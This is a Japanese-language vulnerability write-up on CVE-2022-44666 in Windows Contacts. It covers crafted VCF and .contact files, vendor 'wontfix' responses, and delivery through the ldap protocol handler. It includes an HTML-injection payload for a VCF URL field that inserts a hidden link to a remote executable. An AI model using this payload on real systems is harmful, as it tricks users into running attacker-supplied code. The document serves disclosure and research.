
これは、[John Page (aka hyp3rlinx)][R.1] によって 4 年以上前に完全に開示された、別の忘れ去られた 0day の話です。このレポートを理解するには、私が愚かであることを考慮する必要があります :-) そして、私の愚かさが、単純な問題を解決するためにより長い道のりを歩ませるのですが、それは同時に、いくつかのバグを悪用する別の方法を見つけることにもつながります。なぜこんなことを言うのでしょうか? なぜなら、.contact ファイルを作成する方法が、単に連絡先フォルダを参照して連絡先を作成することであるとすぐに理解できず、代わりにこの情報を使って最初に VCF ファイルを作成し、その後、それが何らかの亜種であると誤って考えてしまったからです。それはまた、私の脳がどうして一部の 0day がこんなに長い間忘れられるのか理解できないからでもあります ¯\(ツ)/¯ それが完了し、[MSRC][R.2] と [ZDI][R.3] から「wontfix」の返答があった後、重大度を高めるためのさらなる調査が行われ、最終的に .contact ファイルと Windows URL プロトコルハンドラ「ldap」に到達しました。
[この脆弱性][R.4] のエクスプロイトコードを読んでいたときに、実際に 0day としてリリースされたもので、[ZDI のレポート][R.5] を見つけることができます。
2022/07/21 更新: このケースを MS に報告した後、MSRC の人々は、Windows Contacts が VCF ファイルを開くデフォルトプログラムではないと正しく指摘しました。

さらなる調査により、Win7 ESU および WinServer2019 における VCF ファイルのデフォルトプログラムは Windows Contacts (wab.exe) であることが示されています。それ以外の場合は MS People (PeopleApp.exe) が使用されます。以下はこのテストの完全な表です。
いずれにせよ、彼らは、細工された VCF ファイルを開き、いくつかのリンクをクリックしてバグを悪用するなどのソーシャルエンジニアリングが関与しているため、セキュリティ更新プログラムの MSRC バグ基準を満たしていないと主張しています。

2022/07/25 更新: さて、さらなる調査の結果、同じバグであることがわかりました。最終的に .contact の概念実証を見つけることができました。HTML エンティティを使用して .contact ファイルを正しく解析することが実際に可能です。これにより、以前の問題(2022/07/21 更新)が解決され、このファイル形式 (.contact) は、システムに MS Office がインストールされている場合でも、Windows Contacts によって開かれます。これは、このファイル拡張子のデフォルトプログラムです。まだファイルの関連付けが行われていない場合は最初の関連付けが必要ですが、デフォルトでインストールされているこれを行う唯一のプログラムは Windows Contacts です。
2022/07/25 更新: このさらなる調査により、しばらく前に達成しようとしていた点に到達しました。つまり、URL プロトコルハンドラを使用して、細工された連絡先データを自動的に開き、バグを悪用することです。ldap URI スキームのおかげで、最終的にそれを動作させることができました。このスキームはデフォルトで Windows Contacts アプリケーションに関連付けられているため、不正な LDAP サーバーをセットアップし、mail、url、wwwhomepage 属性の下でペイロードデータを提供するだけで、悪用の影響が大きくなります。これは、悪意のある VCF/Contact ファイルをダブルクリックする必要がなくなり、URL プロトコルを使用して配信できるためです。
2023/02/08 更新: MSRC の好意により、[John Page (aka hyp3rlinx)][R.1] が [CVE-2022-44666][R.10] の発見に関する謝辞ページに含まれました。

このレポートは基本的に上記のリンクと同じですが、関与するソーシャルエンジニアリングを少し改善しました。実際、最初に行ったことは、リンクの見え方を改善することでした。まるで XSS 脆弱性であるかのように、実際には HTML インジェクションであるため、最初のアンカー要素を閉じて新しいものを挿入することが可能です。次に、それらの HTML 要素の可視性を削除したかったので、できるだけ長い "innerHTML" を設定するだけでそれらを隠すのに十分でした(文字数制限があるため)。
これが使用された最終ペイロードです:```html URL;WORK:">CLICKMEEEEE...
何が起こるか確認するには、procmonを実行し、href属性の偽のターゲットを次のように設定します。```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
リンクをクリックすると、procmon で以下のような出力が確認されます:
